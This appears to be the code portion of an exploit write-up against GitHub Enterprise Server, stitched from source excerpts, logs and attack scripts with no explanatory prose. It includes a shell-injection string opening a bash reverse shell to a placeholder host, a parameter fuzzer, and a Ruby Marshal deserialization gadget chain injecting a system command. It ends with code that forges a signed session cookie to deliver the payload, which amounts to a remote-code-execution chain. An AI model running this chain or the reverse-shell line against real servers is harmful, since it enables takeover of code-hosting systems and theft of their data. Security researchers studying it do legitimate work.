# frozen_string_literal: true

class ActionsStorageSettingsValidator < ActiveModel::Validator
  def validate(record)
    cs = case record.blob_provider
         when "azure"
           if record.oidc_enabled?
             "TenantId=#{record.azure_oidc.tenant_id};ClientId=#{record.azure_oidc.client_id};StorageAccount=#{record.azure_oidc.storage_account};EndpointSuffix=#{record.azure_oidc.endpoint_suffix};"
           else
             record.azure.connection_string
           end
         when "s3"
           if record.oidc_enabled?
             "BucketName=#{record.s3_oidc.bucket_name};RoleARN=#{record.s3_oidc.role_arn};Region=#{record.s3_oidc.region}"
           else
             "BucketName=#{record.s3.bucket_name};AccessKeyId=#{record.s3.access_key_id};SecretAccessKey=#{record.s3.access_secret};ServiceUrl=#{record.s3.service_url};ForcePathStyle=#{record.s3.force_path_style}"
           end
         when "gcs"
           if record.oidc_enabled?
             "BucketName=#{record.gcs_oidc.bucket_name};WorkloadProviderId=#{record.gcs_oidc.workload_id};ServiceAccount=#{record.gcs_oidc.service_acc};ServiceUrl=#{record.gcs_oidc.service_url}"
           else
             "BucketName=#{record.gcs.bucket_name};AccessKeyId=#{record.gcs.access_key_id};SecretAccessKey=#{record.gcs.access_secret};ServiceUrl=#{record.gcs.service_url};ForcePathStyle=#{record.gcs.force_path_style}"
           end
         else
           errors.add :blob_provider, "is not supported"
           return
         end


    if record.oidc_enabled?
      cs = "#{cs};EnterpriseIdentifier=#{record.enterprise_identifier}"
      # This will run as a background process
      pid = Process.spawn("sudo -u admin  ghe-actions-test-storage-with-oidc -cs '#{cs}' -p #{record.blob_provider}", pgroup: true, out: "/data/user/common/ghe-oidc-test-storage.log", err: :out)
      Process.detach(pid)

    else
(...)

'; bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'; x='

class Orgs::ActionsSettings::RepositoryItemsController < Orgs::Controller
  include Actions::RunnerGroupsHelper
  include Actions::RunnersHelper
  include Orgs::RepositoryItemsHelper

  before_action :login_required
  before_action :ensure_organization_exists
  before_action :organization_admin_required
  before_action :ensure_trade_restrictions_allows_org_settings_access
  before_action :ensure_can_use_org_runners
  before_action :ensure_page_specified
(...)

# typed: false
# frozen_string_literal: true

require "github-launch"
require "github/launch_client"

module Actions::RunnersHelper
  extend ActiveSupport::Concern

  included do
    before_action :ensure_actions_enabled
  end
(...)

class Orgs::ActionsSettings::RepositoryItemsController < Orgs::Controller
(...)
  def index
(...)
    respond_to do |format|
      format.html do
        render(Organizations::Settings::RepositoryItemsComponent.new(
          organization: current_organization,
          repositories: additional_repositories(selected_repository_ids),
          selected_repositories: [],
          current_page: page,
          total_count: current_organization.repositories.size,
          data_url: data_url,
          aria_id_prefix: aria_id_prefix,
          repository_identifier_key: repository_identifier_key,
          form_id: form_id
        ), layout: false)
      end
    end
  end
(...)
  def rid_key
    params[:rid_key]
  end
(...)
  def repository_identifier_key
    return :global_relay_id unless rid_key.present?
    rid_key
  end

# typed: true
# frozen_string_literal: true

class Organizations::Settings::RepositoryItemsComponent < ApplicationComponent
  def initialize(organization:, repositories:, selected_repositories:, current_page:, total_count:, data_url:, aria_id_prefix:, repository_identifier_key: :global_relay_id, form_id: nil)
    @organization = organization
    @repositories = repositories
    @selected_repositories = selected_repositories
    @show_next_page = current_page * Orgs::RepositoryItemsHelper::PER_PAGE < total_count
    @data_url = data_url
    @current_page = current_page
    @aria_id_prefix = aria_id_prefix
    @repository_identifier_key = repository_identifier_key
    @form_id = form_id
  end
(...)

  def render?
    @show_next_page || @repositories.any?
  end

  def identifier_for(repository)
    repository.send(@repository_identifier_key)
  end
(...)

<%# erblint:counter ButtonComponentMigrationCounter 1 %>
<% @repositories.each do |repository| %>
  <li <% unless first_page? %> hidden <% end %> class="css-truncate d-flex flex-items-center width-full">
    <input
      <%= "form=#{@form_id}" if @form_id.present? %>
      type="checkbox" name="repository_ids[]"
      value="<%= identifier_for(repository) %>"
      id="<%= @aria_id_prefix %>-<%= repository.id %>"
      <%= " checked" if @selected_repositories.include?(identifier_for(repository)) %>
(...)

(...)
get    "/organizations/:organization_id/settings/actions/repository_items",                   to: "orgs/actions_settings/repository_items#index",           as: :settings_org_actions_repository_items
(...)

gbr@ubuntu:~$ ssh -p 122 admin@192.168.1.6
admin@mygithub-local:~$ grep -A5 'xxx' /var/log/github/production.log
NoMethodError (undefined method `xxx' for #<Repository id: 1, name: "FZfh1rp3qx", owner_id: [FILTERED], parent_id: nil, sandbox: nil, updated_at: [FILTERED], created_at: [FILTERED], public: [FILTERED], description: nil, homepage: nil, source_id: [FILTERED], public_push: nil, disk_usage: [FILTERED], locked: [FILTERED], pushed_at: [FILTERED], watcher_count: [FILTERED], public_fork_count: [FILTERED], primary_language_name_id: nil, has_issues: [FILTERED], has_wiki: [FILTERED], has_downloads: [FILTERED], raw_data: [FILTERED], organization_id: 5, disabled_at: nil, disabled_by: nil, disabling_reason: nil, health_status: nil, pushed_at_usec: [FILTERED], active: [FILTERED], reflog_sync_enabled: [FILTERED], made_public_at: [FILTERED], user_hidden: [FILTERED], maintained: [FILTERED], template: [FILTERED], owner_login: [FILTERED], world_writable_wiki: [FILTERED], refset_updated_at: nil, disabling_detail: nil, archived_at: nil, deleted_at: nil>):
  /github/vendor/gems/3.2.2/ruby/3.2.0/gems/activemodel-7.1.0.alpha.bb4dbd14f8/lib/active_model/attribute_methods.rb:489:in `method_missing'
  /github/app/components/organizations/settings/repository_items_component.rb:26:in `identifier_for'
  /github/app/components/organizations/settings/repository_items_component.html.erb:7:in `block in call'
  /github/vendor/gems/3.2.2/ruby/3.2.0/gems/activerecord-7.1.0.alpha.bb4dbd14f8/lib/active_record/relation/delegation.rb:100:in `each'
  /github/vendor/gems/3.2.2/ruby/3.2.0/gems/activerecord-7.1.0.alpha.bb4dbd14f8/lib/active_record/relation/delegation.rb:100:in `each'

import requests

import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def send_request(url, headers, params):
    response = requests.get(url, headers=headers, params=params, verify=False)
    return response

def save_response(method_name, response):
    with open("method_" + method_name, 'w') as file:
        file.write(response.text)

def read_wordlist(file_path):
    with open(file_path, 'r') as file:
        wordlist = [line.strip() for line in file]
    return wordlist

def fuzzer(url, wordlist_path, headers):
    wordlist = read_wordlist(wordlist_path)

    for word in wordlist:
        params = {"page": 1, "rid_key": word}
        response = send_request(url, headers, params)
        save_response(word, response)
        print(f"Param: rid_key={word}, Status Code: {response.status_code}")

if __name__ == "__main__":
    org = 'org'
    url = f"https://mygithub.local/organizations/{org}/settings/actions/repository_items"
    headers = {'Cookie': 'YOUR COOKIE HERE'}
    wordlist_path = "lista.txt"

    fuzzer(url, wordlist_path, headers)

(...)
        builder.insert_after GitHub::Routers::Api, DualSession, "render.session",
          key: "_gh_render",
          path: "/",
          expire_after: (365 * 24 * 60 * 60), # seconds
          secret: GitHub.session_secret,
          secure: GitHub.ssl?
(...)

(...)
    class DeprecatedInstanceVariableProxy < DeprecationProxy
      def initialize(instance, method, var = "@#{method}", deprecator = nil)
        @instance = instance
        @method = method
        @var = var
        ActiveSupport.deprecator.warn("DeprecatedInstanceVariableProxy without a deprecator is deprecated") unless deprecator
        @deprecator = deprecator || ActiveSupport::Deprecation._instance
      end

      private
        def target
          @instance.__send__(@method)
        end

        def warn(callstack, called, args)
          @deprecator.warn("#{@var} is deprecated! Call #{@method}.#{called} instead of #{@var}.#{called}. Args: #{args.inspect}", callstack)
        end
    end
(...)

class ActiveSupport
  class Deprecation
    def initialize()
      @silenced = true
    end
    class DeprecatedInstanceVariableProxy
      def initialize(instance, method)
        @instance = instance
        @method = method
        @deprecator = ActiveSupport::Deprecation.new
      end
    end
  end
end

depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
depr.instance_variable_set :@instance, 123
depr.instance_variable_set :@method, :lol
depr.instance_variable_set :@var, "@lol"
depr.instance_variable_set :@deprecator, ActiveSupport::Deprecation.new

puts(Marshal.dump(depr).inspect)

module Aqueduct
  module Worker
    class Worker
      attr_reader :backend, :queues, :config, :logger, :current_job, :current_job_started_at, :last_heartbeat_at
(...)
      def kill_child
        if @child
          logger.warn("Killing child at #{@child}")
          if system("ps -o pid,state -p #{@child}")
            Process.kill("KILL", @child) rescue nil
          else
            logger.warn("Child #{@child} not found, restarting.")
            shutdown
          end
(...)

class ActiveSupport
  class Deprecation
    def initialize()
      @silenced = true
    end
    class DeprecatedInstanceVariableProxy
      def initialize(instance, method)
        @instance = instance
        @method = method
        @deprecator = ActiveSupport::Deprecation.new
      end
    end
  end
end

code = 'touch /tmp/hacked'

module Aqueduct; module Worker; class Worker; end; end; end
class Logger; end

worker = Aqueduct::Worker::Worker.allocate
worker.instance_variable_set :@child, "99999999; " + code
worker.instance_variable_set :@logger, Logger.allocate

depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
depr.instance_variable_set :@instance, worker
depr.instance_variable_set :@method, :kill_child
depr.instance_variable_set :@var, "@kill_child"
depr.instance_variable_set :@deprecator, ActiveSupport::Deprecation.new

puts(Marshal.dump(depr).inspect)

(...)
marshal_code = YOUR_SERIALIZED_PAYLOAD
marshal_encoded = base64.b64encode(bytes(marshal_code, 'UTF-8')).rstrip()
digest = hmac.new(bytes(SESSION_SECRET, 'UTF-8'), marshal_encoded, hashlib.sha1).hexdigest()
marshal_encoded = urllib.parse.quote(marshal_encoded)
session_cookie = "%s--%s" % (marshal_encoded, digest)
print(session_cookie)

cookies = {'_gh_render': session_cookie}